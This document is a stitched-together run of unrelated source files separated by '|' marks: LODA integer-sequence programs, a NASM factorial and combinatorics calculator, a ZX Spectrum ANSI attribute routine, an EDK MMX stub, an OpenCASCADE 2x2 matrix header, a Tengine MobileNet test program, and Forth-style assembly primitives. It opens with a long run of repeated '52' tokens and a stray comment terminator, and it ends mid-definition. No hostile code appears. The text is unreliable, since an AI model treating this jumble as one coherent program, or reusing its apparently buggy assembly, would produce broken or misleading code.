52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52
*/
|
; A071325: Number of squares > 1 dividing n.
; 0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,2,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,2,0,0,0,3,0,0,0,1,0,0,0,1,1,0,0,2,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,3,0,0,0,1,0,0,0,3,0,0,1,1,0,0,0,2,2,0,0,1,0,0,0,1,0,1,0,1,0,0,0,2,0,1,1,3
seq $0,57918 ; Number of pairs of numbers (a,b) each less than n where (a,b,n) is in geometric progression.
seq $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n.
sub $0,1
|
; Compile with command and run: nasm -felf64 project.asm && gcc -no-pie project.o && ./a.out
global main ; for gcc standard linking
extern printf
%macro mac_a 1
section .data
.str db %1,0
section .text
mov rdi, fmt2
mov rsi, .str
mov rdx, [a]
mov rcx, [m]
mov r8, [c]
mov rax, 0
call printf
%endmacro
%macro mac_x 1
section .data
.str db %1,0
section .text
mov rdi, fmt3
mov rsi, .str
mov rdx, [x]
mov rcx, [n]
mov r8, [y]
mov rax, 0
call printf
%endmacro
%macro mac_i 1
section .data
.str db %1,0
section .text
mov rdi, fmt4
mov rsi, .str
mov rdx, [i]
mov rcx, [o]
mov r8, [j]
mov rax, 0
call printf
%endmacro
%macro prt_a 1
section .data
.str db %1,0
section .text
mov rdi, fmt5
mov rsi, .str
mov rdx, [a]
mov rax, 0
call printf
%endmacro
%macro prt_x 1
section .data
.str db %1,0
section .text
mov rdi, fmt5
mov rsi, .str
mov rdx, [x]
mov rax, 0
call printf
%endmacro
%macro prt_i 1
section .data
.str db %1,0
section .text
mov rdi, fmt5
mov rsi, .str
mov rdx, [i]
mov rax, 0
call printf
%endmacro
%macro prt_c 1
section .data
.str db %1,0
section .text
mov rdi, fmt5
mov rsi, .str
mov rdx, [c]
mov rax, 0
call printf
%endmacro
%macro prt_menu 1
section .data
.str db %1,0
section .text
mov rdi, fmt6
mov rsi, .str
mov rax, 0
call printf
%endmacro
%macro prt_cont 1
section .data
.str db %1,0
section .text
mov rdi, fmt8
mov rsi, .str
mov rax, 0
call printf
%endmacro
%macro prt_s 1
section .data
.str db %1,0
section .text
mov rdi, fmt7
mov rsi, .str
mov rax, 0
call printf
%endmacro
section .data ; preset constants, writable
text db "It's not an integer", 10
len equ $-text
msg: db 'Words Words m =', ' %ld', 10, 0
m: dq 69
a: dq 5
b: dq 5
n: dq 69
x: dq 5
y: dq 5
o: dq 69
i: dq 5
j: dq 5
str1 db 'fact',10
str1len equ $-str1
str2 db 'fact',10
str3 db 'comb',10
str4 db 'perm',10
str5 db 'yes',10
str5len equ $-str5
fmt2: db "%s%ld n=%ld",10,0 ; format string for printf
fmt3: db "%s%ld r=%ld",10,0 ; format string for printf
fmt4: db "%s%ld (n-r)=%ld",10,0 ; format string for printf
fmt5: db "%s =%ld ", 10 ,0 ; format string for printf
fmt6: db "Select one of the following by typing in your choice:", 10, 10, "Factorial. Enter: fact", 10, "Combinations. Enter: comb", 10, "Permutations. Enter: perm", 10, "Else, Enter any key to exit", 10, 0 ; format string for print
fmt7: db "%s", 10, 0 ; format string for print
fmt8: db "Would you like to continue?", 10, "To continue. Enter: yes", 10, "Else, enter any key to exit", 10, 0 ; format string for print
section .bss ; uninitialized space
ascii resb 16 ; holds user input
intMemory resb 100 ; will hold the endline feed
intAddress resb 8 ; hold offset address from the intMemory
num resb 5
c: resq 1 ; reserve a 64-bit word
section .text ; instructions, code segment
main:
push rbp
prt_menu"null"
mov rax,0
mov rdi,0
mov rsi,str1
mov rdx,8
syscall
lea esi, [str1]
lea edi, [str2]
mov ecx, str1len ; selects the length of the first string as maximum for comparison
rep cmpsb ; comparison of ECX number of bytes
mov eax, 4 ; does not modify flags
mov ebx, 1 ; does not modify flags
jne not_fact ; checks ZERO flag
jmp ifFact
not_fact:
lea esi, [str1]
lea edi, [str3]
mov ecx, str1len ; selects the length of the first string as maximum for comparison
rep cmpsb ; comparison of ECX number of bytes
mov eax, 4 ; does not modify flags
mov ebx, 1 ; does not modify flags
jne not_comb ; checks ZERO flag
jmp ifComb
not_comb:
lea esi, [str1]
lea edi, [str4]
mov ecx, str1len ; selects the length of the first string as maximum for comparison
rep cmpsb ; comparison of ECX number of bytes
mov eax, 4 ; does not modify flags
mov ebx, 1 ; does not modify flags
jne exit ; checks ZERO flag
jmp ifPerm
ifComb:
call getText_comb
call print_rax_n
call getText_comb_r
call print_rax_r
call print_rax_nsubr
call fact_nsubr
call fact_n
call fact_r
call mult_nsubr_r
call div_comb
mov rax, 60
mov rdi, 0
syscall
getText_comb:
prt_s "[value of n] Enter a number for the size of the set:"
mov rax, 0
mov rdi, 0
mov rsi, ascii
mov rdx, 16
syscall
mov byte [ascii-1+rax], 0
jmp toInteger
getText_comb_r:
prt_s "[value of r]Enter a number for the size of the sub-set:"
mov rax, 0
mov rdi, 0
mov rsi, ascii
mov rdx, 16
syscall
mov byte [ascii-1+rax], 0
jmp toInteger
ifPerm:
call getText_perm
call print_rax_n
call getText_perm_r
call print_rax_r
call print_rax_nsubr
call fact_n
call fact_nsubr
call div_perm
mov rax, 60
mov rdi, 0
syscall
getText_perm:
prt_s "[value of n] Enter a number for the size of the set:"
mov rax, 0
mov rdi, 0
mov rsi, ascii
mov rdx, 16
syscall
mov byte [ascii-1+rax], 0
jmp toInteger
getText_perm_r:
prt_s "[value of r]Enter a number for the size of the sub-set:"
mov rax, 0
mov rdi, 0
mov rsi, ascii
mov rdx, 16
syscall
mov byte [ascii-1+rax], 0
jmp toInteger
ifFact:
call getText_fact
call toInteger
call print_rax_n
call fact_n
mov rax, 60
mov rdi, 0
jmp continue_prog
getText_fact:
prt_s "Enter a number for factorial:"
mov rax, 0
mov rdi, 0
mov rsi, ascii
mov rdx, 16
syscall
mov byte [ascii-1+rax], 0
jmp toInteger
toInteger:
mov rbx,10 ; for decimal scaling
xor rax, rax ; initializing result
mov rcx, ascii ; preparing for working with input
.LL1: ; loops the bytes
movzx rdx, byte [rcx] ; getting current byte (digit)
test rdx, rdx ; RDX == 0?
jz .done ; Yes: break
inc rcx ; for the next digit
cmp rdx, '0' ; if it's less than '0' is not a digit
jb invalid
cmp rdx, '9' ; if it's greater than '9' is not a digit
ja invalid
sub rdx, '0' ; getting decimal value
add rax, rax
lea rax, [rax + rax * 4]
add rax, rdx ; rax = rax + rdx
jmp .LL1 ; repeat
.done:
ret
invalid:
mov rax, 1
mov rdi, 1
mov rsi, text
mov rdx, len
syscall
jmp main
print_rax_nsubr:
mov rax,[a]
sub rax,[x]
mov [o],rax
mov [i],rax
mov [j],rax
prt_i "Input value (n-r)" ; invoke the print macro
ret
print_rax_r:
mov [x],rax
mov [y],rax
mov [n],rax
prt_x "Input value r" ; invoke the print macro
ret
print_rax_n:
mov [a],rax
mov [b],rax
mov [m],rax
prt_a "Input value n" ; invoke the print macro
ret
mult_nsubr_r:
mov rax,[i] ; load a (must be rax for multiply)
imul qword [x] ; signed integer multiply by b
mov [c],rax ; store bottom half of product into c
prt_c "(n-r)!*r!" ; invoke the print macro
ret
fact_n:
mov rcx,[b]
mov rax,[a] ; load a (must be rax for multiply)
dec rcx
mov [b],rcx
imul qword [b] ; signed integer multiply by b
mov [a],rax ; load a (must be rax for multiply)
push rcx
mov [c],rax ; store bottom half of product into c
pop rcx
dec rcx
jnz fact_n
mac_a "n!=" ; invoke the print mact
ret
fact_r: ; c=a*b;
mov rcx,[y]
mov rax,[x] ; load a (must be rax for multiply)
dec rcx
mov [y],rcx
imul qword [y] ; signed integer multiply by b
mov [x],rax ; load a (must be rax for multiply)
push rcx
mov [c],rax ; store bottom half of product into c
pop rcx
dec rcx
jnz fact_r
mac_x "r!=" ; invoke the print mact
ret
fact_nsubr: ; c=a*b;
mov rcx,[j]
mov rax,[i] ; load a (must be rax for multiply)
dec rcx
mov [j],rcx
imul qword [j] ; signed integer multiply by b
mov [i],rax ; load a (must be rax for multiply)
push rcx
mov [c],rax ; store bottom half of product into c
pop rcx
dec rcx
jnz fact_nsubr
mac_i "(n-r)!=" ; invoke the print mact
ret
div_comb:
mov rax,[a] ; load c
mov rdx,0 ; load upper half of dividend with zero
idiv qword [c] ; divide double register edx rax by a
mov [c],rax ; store quotient into c
prt_c "n!/(n-r)!*r!" ; invoke the print macro
pop rbp ; pop stack
mov rax,0 ; exit code, 0=normal
jmp continue_prog
div_perm:
mov rax,[a] ; load c
mov rdx,0 ; load upper half of dividend with zero
idiv qword [c] ; divide double register edx rax by a
mov [c],rax ; store quotient into c
prt_c "n!/(n-r)!" ; invoke the print macro
pop rbp ; pop stack
mov rax,0 ; exit code, 0=normal
jmp continue_prog
continue_prog:
prt_cont "null"
push rbp
mov rax,0
mov rdi,0
mov rsi,str1
mov rdx,8
syscall
lea esi, [str1]
lea edi, [str5]
mov ecx, str5len ; selects the length of the first string as maximum for comparison
rep cmpsb ; comparison of ECX number of bytes
mov eax, 4 ; does not modify flags
mov ebx, 1 ; does not modify flags
jne exit ; checks ZERO flag
jmp main
exit: ; sane shutdown
mov eax, 1
mov ebx, 0
int 80h
|
; A267851: Decimal representation of the n-th iteration of the "Rule 229" elementary cellular automaton starting with a single ON (black) cell.
; 1,2,30,126,510,2046,8190,32766,131070,524286,2097150,8388606,33554430,134217726,536870910,2147483646,8589934590,34359738366,137438953470,549755813886,2199023255550,8796093022206,35184372088830,140737488355326,562949953421310,2251799813685246,9007199254740990
mul $0,2
sub $0,1
mov $1,1
mov $2,1
lpb $0,1
sub $0,1
mul $2,2
mov $1,$2
trn $2,6
add $2,7
lpe
|
;
; Spectrum C Library
;
; ANSI Video handling for ZX Spectrum
;
; Text Attributes
; m - Set Graphic Rendition
;
; The most difficult thing to port:
; Be careful here...
;
; Stefano Bodrato - Apr. 2000
;
;
; $Id: f_ansi_attr.asm,v 1.2 2002/10/10 22:03:26 dom Exp $
;
XLIB ansi_attr
XDEF text_attr
; 0 = reset all attributes
; 1 = bold on
; 2 = dim
; 4 = underline
; 5 = blink on
; 7 = reverse on
; 8 = invisible (dim again?)
; 8 = tim off
; 24 = underline off
; 25 = blink off
; 27 = reverse off
; 28 = invisible off
; 30 - 37 = foreground colour
; 40 - 47 = background colour
.ansi_attr
and a
jr nz,noreset
ld a,15
ld (text_attr),a
ret
.noreset
cp 2
jr z,dim
cp 8
jr nz,nodim
.dim
ld a,(text_attr)
and @01110111
ld (text_attr),a
ret
.nodim
cp 5
jr nz,noblinkon
ld hl,text_attr
set 7,(hl)
inc hl
set 7,(hl)
ret
.noblinkon
cp 25
jr nz,noblinkoff
ld hl,text_attr
res 7,(hl)
inc hl
res 7,(hl)
ret
.noblinkoff
cp 7
jr z,switchreverse
cp 27
jr nz,noreverse
.switchreverse
ld hl,text_attr
ld e,(hl)
inc hl
ld d,(hl)
ld (hl),e
dec hl
ld (hl),d
ret
.noreverse
cp 30
ret m
cp 37+1
jp p,background
sub 30
ld e,a
ld a,(text_attr)
and @11111000
or e
ld (text_attr),a
jr calcinverse
.background
cp 40
ret m
cp 47+1
ret p
sub 40
ld d,a
rlca
rlca
rlca
rlca
and @01110000
ld e,a
ld a,(text_attr)
and @10001111
or e
ld (text_attr),a
.calcinverse
ld e,a
rlca
rlca
rlca
rlca
and @01110000 ;ink goes to paper
ld d,a
ld a,e
rrca
rrca
rrca
rrca
and @00000111
or d
ld d,a ;d holds paper and ink
ld a,e
and @10001000
or d
ld (inverse_attr),a
ret
.text_attr defb @00001111 ;bright white on black
.inverse_attr defb @01111000 ;grey on white
|
; A006588: a(n) = 4^n*(3*n)!/((2*n)!*n!).
; 1,12,240,5376,126720,3075072,76038144,1905131520,48199827456,1228623052800,31504481648640,811751838842880,20999667135283200,545086744471535616,14189559697354260480,370298578584748425216,9684502341534993088512,253765034617761850982400,6660727956252872964833280,175092820244030003399884800,4608981775962082089495429120,121471561510025048518966640640,3205000185296221153312269926400,84649164314258455504293923389440,2237799716180130446044365953433600,59209440327208480014032644312399872
mov $2,$0
mul $2,2
add $0,$2
bin $0,$2
mov $1,2
pow $1,$2
mul $0,$1
|
; A241976: Values of k such that k^2 + (k+3)^2 is a square.
; 0,9,60,357,2088,12177,70980,413709,2411280,14053977,81912588,477421557,2782616760,16218279009,94527057300,550944064797,3211137331488,18715879924137,109084142213340,635788973355909,3705649697922120,21598109214176817
mul $0,2
lpb $0,1
sub $0,1
add $3,6
mov $2,$3
add $4,$3
add $4,3
mov $1,$4
add $3,$4
mov $4,$2
lpe
sub $1,$4
|
; Copyright (c) 2004, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; WriteMm3.Asm
;
; Abstract:
;
; AsmWriteMm3 function
;
; Notes:
;
;------------------------------------------------------------------------------
.code
;------------------------------------------------------------------------------
; VOID
; EFIAPI
; AsmWriteMm3 (
; IN UINT64 Value
; );
;------------------------------------------------------------------------------
AsmWriteMm3 PROC
;
; 64-bit MASM doesn't support MMX instructions, so use opcode here
;
DB 48h, 0fh, 6eh, 0d9h
ret
AsmWriteMm3 ENDP
END
|
// Copyright (c) 1991-1999 Matra Datavision
// Copyright (c) 1999-2014 OPEN CASCADE SAS
//
// This file is part of Open CASCADE Technology software library.
//
// This library is free software; you can redistribute it and/or modify it under
// the terms of the GNU Lesser General Public License version 2.1 as published
// by the Free Software Foundation, with special exception defined in the file
// OCCT_LGPL_EXCEPTION.txt. Consult the file LICENSE_LGPL_21.txt included in OCCT
// distribution for complete text of the license and disclaimer of any warranty.
//
// Alternatively, this file may be used under the terms of Open CASCADE
// commercial license or contractual agreement.
#ifndef _gp_Mat2d_HeaderFile
#define _gp_Mat2d_HeaderFile
#include <Standard.hxx>
#include <Standard_DefineAlloc.hxx>
#include <Standard_Handle.hxx>
#include <Standard_Real.hxx>
#include <Standard_Integer.hxx>
#include <Standard_Boolean.hxx>
class Standard_ConstructionError;
class Standard_OutOfRange;
class gp_Trsf2d;
class gp_GTrsf2d;
class gp_XY;
//! Describes a two column, two row matrix. This sort of
//! object is used in various vectorial or matrix computations.
class gp_Mat2d
{
public:
DEFINE_STANDARD_ALLOC
//! Creates a matrix with null coefficients.
gp_Mat2d();
//! Col1, Col2 are the 2 columns of the matrix.
Standard_EXPORT gp_Mat2d(const gp_XY& Col1, const gp_XY& Col2);
//! Assigns the two coordinates of Value to the column of range
//! Col of this matrix
//! Raises OutOfRange if Col < 1 or Col > 2.
Standard_EXPORT void SetCol (const Standard_Integer Col, const gp_XY& Value);
//! Assigns the number pairs Col1, Col2 to the two columns of this matrix
Standard_EXPORT void SetCols (const gp_XY& Col1, const gp_XY& Col2);
//! Modifies the main diagonal of the matrix.
//! <me>.Value (1, 1) = X1
//! <me>.Value (2, 2) = X2
//! The other coefficients of the matrix are not modified.
void SetDiagonal (const Standard_Real X1, const Standard_Real X2);
//! Modifies this matrix, so that it represents the Identity matrix.
void SetIdentity();
//! Modifies this matrix, so that it representso a rotation. Ang is the angular
//! value in radian of the rotation.
void SetRotation (const Standard_Real Ang);
//! Assigns the two coordinates of Value to the row of index Row of this matrix.
//! Raises OutOfRange if Row < 1 or Row > 2.
Standard_EXPORT void SetRow (const Standard_Integer Row, const gp_XY& Value);
//! Assigns the number pairs Row1, Row2 to the two rows of this matrix.
Standard_EXPORT void SetRows (const gp_XY& Row1, const gp_XY& Row2);
//! Modifies the matrix such that it
//! represents a scaling transformation, where S is the scale factor :
//! | S 0.0 |
//! <me> = | 0.0 S |
void SetScale (const Standard_Real S);
//! Assigns <Value> to the coefficient of row Row, column Col of this matrix.
//! Raises OutOfRange if Row < 1 or Row > 2 or Col < 1 or Col > 2
void SetValue (const Standard_Integer Row, const Standard_Integer Col, const Standard_Real Value);
//! Returns the column of Col index.
//! Raises OutOfRange if Col < 1 or Col > 2
Standard_EXPORT gp_XY Column (const Standard_Integer Col) const;
//! Computes the determinant of the matrix.
Standard_Real Determinant() const;
//! Returns the main diagonal of the matrix.
Standard_EXPORT gp_XY Diagonal() const;
//! Returns the row of index Row.
//! Raised if Row < 1 or Row > 2
Standard_EXPORT gp_XY Row (const Standard_Integer Row) const;
//! Returns the coefficient of range (Row, Col)
//! Raises OutOfRange
//! if Row < 1 or Row > 2 or Col < 1 or Col > 2
const Standard_Real& Value (const Standard_Integer Row, const Standard_Integer Col) const;
const Standard_Real& operator() (const Standard_Integer Row, const Standard_Integer Col) const
{
return Value(Row,Col);
}
//! Returns the coefficient of range (Row, Col)
//! Raises OutOfRange
//! if Row < 1 or Row > 2 or Col < 1 or Col > 2
Standard_Real& ChangeValue (const Standard_Integer Row, const Standard_Integer Col);
Standard_Real& operator() (const Standard_Integer Row, const Standard_Integer Col)
{
return ChangeValue(Row,Col);
}
//! Returns true if this matrix is singular (and therefore, cannot be inverted).
//! The Gauss LU decomposition is used to invert the matrix
//! so the matrix is considered as singular if the largest
//! pivot found is lower or equal to Resolution from gp.
Standard_Boolean IsSingular() const;
void Add (const gp_Mat2d& Other);
void operator += (const gp_Mat2d& Other)
{
Add(Other);
}
//! Computes the sum of this matrix and the matrix
//! Other.for each coefficient of the matrix :
//! <me>.Coef(i,j) + <Other>.Coef(i,j)
//! Note:
//! - operator += assigns the result to this matrix, while
//! - operator + creates a new one.
gp_Mat2d Added (const gp_Mat2d& Other) const;
gp_Mat2d operator + (const gp_Mat2d& Other) const
{
return Added(Other);
}
void Divide (const Standard_Real Scalar);
void operator /= (const Standard_Real Scalar)
{
Divide(Scalar);
}
//! Divides all the coefficients of the matrix by a scalar.
gp_Mat2d Divided (const Standard_Real Scalar) const;
gp_Mat2d operator / (const Standard_Real Scalar) const
{
return Divided(Scalar);
}
Standard_EXPORT void Invert();
//! Inverses the matrix and raises exception if the matrix
//! is singular.
gp_Mat2d Inverted() const;
gp_Mat2d Multiplied (const gp_Mat2d& Other) const;
gp_Mat2d operator * (const gp_Mat2d& Other) const
{
return Multiplied(Other);
}
//! Computes the product of two matrices <me> * <Other>
void Multiply (const gp_Mat2d& Other);
//! Modifies this matrix by premultiplying it by the matrix Other
//! <me> = Other * <me>.
void PreMultiply (const gp_Mat2d& Other);
gp_Mat2d Multiplied (const Standard_Real Scalar) const;
gp_Mat2d operator * (const Standard_Real Scalar) const
{
return Multiplied(Scalar);
}
//! Multiplies all the coefficients of the matrix by a scalar.
void Multiply (const Standard_Real Scalar);
void operator *= (const Standard_Real Scalar)
{
Multiply(Scalar);
}
Standard_EXPORT void Power (const Standard_Integer N);
//! computes <me> = <me> * <me> * .......* <me>, N time.
//! if N = 0 <me> = Identity
//! if N < 0 <me> = <me>.Invert() *...........* <me>.Invert().
//! If N < 0 an exception can be raised if the matrix is not
//! inversible
gp_Mat2d Powered (const Standard_Integer N) const;
void Subtract (const gp_Mat2d& Other);
void operator -= (const gp_Mat2d& Other)
{
Subtract(Other);
}
//! Computes for each coefficient of the matrix :
//! <me>.Coef(i,j) - <Other>.Coef(i,j)
gp_Mat2d Subtracted (const gp_Mat2d& Other) const;
gp_Mat2d operator - (const gp_Mat2d& Other) const
{
return Subtracted(Other);
}
void Transpose();
//! Transposes the matrix. A(j, i) -> A (i, j)
gp_Mat2d Transposed() const;
friend class gp_Trsf2d;
friend class gp_GTrsf2d;
friend class gp_XY;
protected:
private:
Standard_Real matrix[2][2];
};
#include <gp_Mat2d.lxx>
#endif // _gp_Mat2d_HeaderFile
|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* License); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* AS IS BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
/*
* Copyright (c) 2018, Open AI Lab
* Author: haitao@openailab.com
*/
#include <unistd.h>
#include <iostream>
#include <functional>
#include <algorithm>
#include <fstream>
#include <iomanip>
#include "tengine_c_api.h"
#include "common_util.hpp"
#include "tengine_operations.h"
const char* model_file = "./models/frozen_mobilenet_v1_224.pb";
const char* label_file = "./models/synset_words.txt";
const char* image_file = "./tests/images/cat.jpg";
int img_h = 224;
int img_w = 224;
float input_mean = -127;
float input_std = 127;
using namespace TEngine;
using namespace std;
void LoadLabelFile(std::vector<std::string>& result, const char* fname)
{
std::ifstream labels(fname);
std::string line;
while(std::getline(labels, line))
result.push_back(line);
}
float* ReadImageFile(const std::string& image_file, const int input_height, const int input_width,
const float input_mean, const float input_std)
{
image img = imread(image_file.c_str());
// Resize the image
image resImg = resize_image(img, input_width, input_height);
float* input_data = ( float* )malloc(3 * input_height * input_width * 4);
for(int h = 0; h < input_height; h++)
{
for(int w = 0; w < input_width; ++w)
{
for(int c = 0; c < 3; c++)
{
int out_idx = h * input_width * 3 + w * 3 + c;
int in_idx = c * input_height * input_width + h * input_width + w;
input_data[out_idx] = (resImg.data[in_idx] - input_mean) / input_std;
}
}
}
return input_data;
}
int main(int argc, char* argv[])
{
/* prepare input data */
float* input_data = ReadImageFile(image_file, img_h, img_w, input_mean, input_std);
init_tengine();
if(request_tengine_version("0.9") < 0)
return 1;
graph_t graph = create_graph(nullptr, "tensorflow", model_file);
if(graph == nullptr)
{
std::cout << "Create graph failed\n";
std::cout << "errno: " << get_tengine_errno() << "\n";
return 1;
}
// dump_graph(graph);
/* set input shape */
int node_idx = 0;
int tensor_idx = 0;
tensor_t input_tensor = get_graph_input_tensor(graph, node_idx, tensor_idx);
if(input_tensor == nullptr)
{
std::printf("Cannot find input tensor,node_idx: %d,tensor_idx: %d \n", node_idx, tensor_idx);
return -1;
}
int dims[] = {1, img_h, img_w, 3};
set_tensor_shape(input_tensor, dims, 4);
/* setup input buffer */
if(set_tensor_buffer(input_tensor, input_data, 3 * img_h * img_w * 4) < 0)
{
std::printf("Set buffer for tensor failed\n");
}
/* run the graph */
prerun_graph(graph);
// dump_graph(graph);
run_graph(graph, 1);
// const char * output_tensor_name="MobilenetV1/Predictions/Softmax";
tensor_t output_tensor = get_graph_output_tensor(graph, node_idx, tensor_idx);
int dim_size = get_tensor_shape(output_tensor, dims, 4);
if(dim_size < 0)
{
printf("get output tensor shape failed\n");
return -1;
}
printf("output tensor shape: [");
for(int i = 0; i < dim_size; i++)
printf("%d ", dims[i]);
printf("]\n");
int count = get_tensor_buffer_size(output_tensor) / 4;
float* data = ( float* )(get_tensor_buffer(output_tensor));
float* end = data + count;
std::vector<float> result(data, end);
std::vector<int> top_N = Argmax(result, 5);
std::vector<std::string> labels;
LoadLabelFile(labels, label_file);
for(unsigned int i = 0; i < top_N.size(); i++)
{
int idx = top_N[i];
std::cout << std::fixed << std::setprecision(4) << result[idx] << " - \"";
std::cout << labels[idx] << "\"\n";
}
release_graph_tensor(input_tensor);
release_graph_tensor(output_tensor);
free(input_data);
postrun_graph(graph);
destroy_graph(graph);
release_tengine();
std::cout << "ALL TEST DONE\n";
return 0;
}
|
;; variable base, 10
;; variable immediate_dict, 0
;; variable dict, 0
;; variable *mark*, 0
;; variable *state*, 0
;; variable *status*, 0
;; variable *tokenizer*, 0
defop eip
pop rax
push eval_ip
push rax
ret
defop peek_byte
mov rax, [rsp+ptrsize]
mov al, [rax]
mov [rsp+ptrsize], rax
ret
;;;
;;; Dictionary
;;;
%define r_dict r9
defop dict
pop rax
push r_dict
push rax
ret
defop set_dict
pop rax
pop r_dict
push rax
ret
;;;
;;; Frames
;;;
defalias exit,continue
defalias begin,begin_frame
defop arg2
mov rax, [fp+ptrsize*5]
pop rbx
push rax
push rbx
ret
defop arg3
mov rax, [fp+ptrsize*6]
pop rbx
push rax
push rbx
ret
defop set_arg0
pop rbx
pop rax
mov [fp+ptrsize*3], rax
push rbx
ret
defop set_arg1
pop rbx
pop rax
mov [fp+ptrsize*4], rax
push rbx
ret
defop set_arg2
pop rbx
pop rax
mov [fp+ptrsize*5], rax
push rbx
ret
defop set_arg3
pop rbx
pop rax
mov [fp+ptrsize*6], rax
push rbx
ret
defop store_local0
pop rbx
pop rax
mov [fp-ptrsize*0], rax
push rbx
ret
defop return0_n
mov rax, [rsp+ptrsize] ; # of args to drop
imul rax, ptrsize
mov rsp, fp ; return from frame
pop fp
pop eval_ip
pop rbx ; save next's address
add rsp, rax ; drop the args
push rbx ; restore return
ret
defop return1_n
mov rax, [rsp+ptrsize] ; # of args to drop
imul rax, ptrsize
mov rbx, [rsp+ptrsize*2] ; return value
mov rsp, fp ; return from frame
pop fp
pop eval_ip
pop rcx ; save next's address
add rsp, rax ; drop the args
push rbx ; push return value
push rcx ; restore return
ret
defop cont
pop rbx
pop rax
;; end the frame
mov rsp, fp
pop fp
jmp [rax+dict_entry_code]
;;;
;;; Pairs
;;;
defop 2dup,twodup
pop rax
mov rbx, [rsp+ptrsize]
push rbx
mov rbx, [rsp+ptrsize]
push rbx
push rax
ret
defop drop2
pop rax
add rsp, ptrsize*2
push rax
ret
;;;
;;; Stack manipulations
;;;
defop drop3
pop rax
add rsp, ptrsize*3
push rax
ret
defop swapdrop
pop rax
pop rbx
pop rcx
push rbx
push rax
ret
defop rotdrop2
pop rax
pop rbx
add rsp, ptrsize*2
push rbx
push rax
ret
;;;
;;; Control flow
;;;
defop exec_core_word
pop rbx
pop rax
push rbx
jmp [rax+ptrsize]
defop exec ; assembly word
